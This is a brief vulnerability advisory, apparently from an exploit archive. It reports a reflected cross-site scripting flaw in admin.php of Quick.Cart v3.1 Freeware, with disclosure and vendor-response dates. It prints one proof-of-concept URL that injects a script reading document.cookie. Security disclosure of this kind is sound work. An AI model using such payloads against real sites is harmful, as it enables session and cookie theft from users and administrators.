Quick.Cart version 3.1 Freeware suffers from a cross site scripting vulnerability in admin.php.
1e83706752fa38d427e51067a4b5d83e65e35ba00c324deb431c262b9a2959b9
Application: Quick.Cart v3.1 Freeware
Authors Site: http://opensolution.org/quick.cart,en,9.html
+--------------------------------------------------------------+
XSS:
http://www.victim.com/admin.php?"><script>alert(document.cookie)</script><"
+-[Notes:]-----------------------------------------------------+
This only appears to work on Internet Explorer.
Vulnerabilities found on: 05/09/2008
Author(s) Informed on: 06/09/2008
Author(s) Response: 08/09/2008
Author(s) Fix: None Yet
JohnC@NoBytes.com
http://www.NoBytes.com